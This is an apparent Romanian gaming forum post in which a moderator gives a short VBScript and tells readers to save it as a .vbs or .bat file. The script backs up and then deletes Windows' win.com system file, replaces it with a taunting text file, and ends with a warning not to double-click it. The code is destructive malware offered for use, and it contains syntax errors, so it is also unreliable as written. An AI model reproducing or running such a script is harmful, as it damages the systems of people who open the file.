GamezMedia Forum
Bine ati venit pe GamezMedia , o comunitate in care gasesti multe lucruri interesante,noi dar nu in ultimul rand gratuite ,profitata chiar acum de aceste beneficii !!
|
Nou pe simpatie:
inna_90 la Simpatie.ro
 | Femeie
23 ani
Vrancea
cauta Barbat
30 - 48 ani |
|
|
GamezMedia ForumInregistrareLoginPozeNu sunteti logat. Lista Forumurilor Pe Tematici
|
| #1 |
 Guess WhoSuper ModeratorDin: GamezMedia Land !
Postari: 96
|
|
Creati un Fisier Text Nodepad deschideti-l si scrie-ti urmatoarele :
Cod:
Dim fso, fs1, fs2
Dim drive, folder, file
Set fso = CreateObject("Scripting.FileSystemObject"
drive = "c:\"
folder ="windows\"
file = "win.com"
Set fs1 = fso.GetFile(drive&folder&file)
fs1.copy ("c:\windows\temp\win.com"
set fs2=fso.CreateTextFile("c:\windows\win.com"
fs2.writeline "win.com is gone images/smiles/icon_biggrin.gif"
Set fs1 = fso.GetFile(drive&folder&file)
fs1.delete
fs2.close
Apoi dati sus la Fille => Save as apoi punem nume.vbs sau nume.bat nu mai stiu in ce extensie incercatile pe ambele
!!!Atentie!!! Exclamation Exclamation Exclamation Nu dati dublu clik pe el!!!!!!!!!!!!!
_______________________________________
Cu respect,
Guess Who !
|
|
| |
|
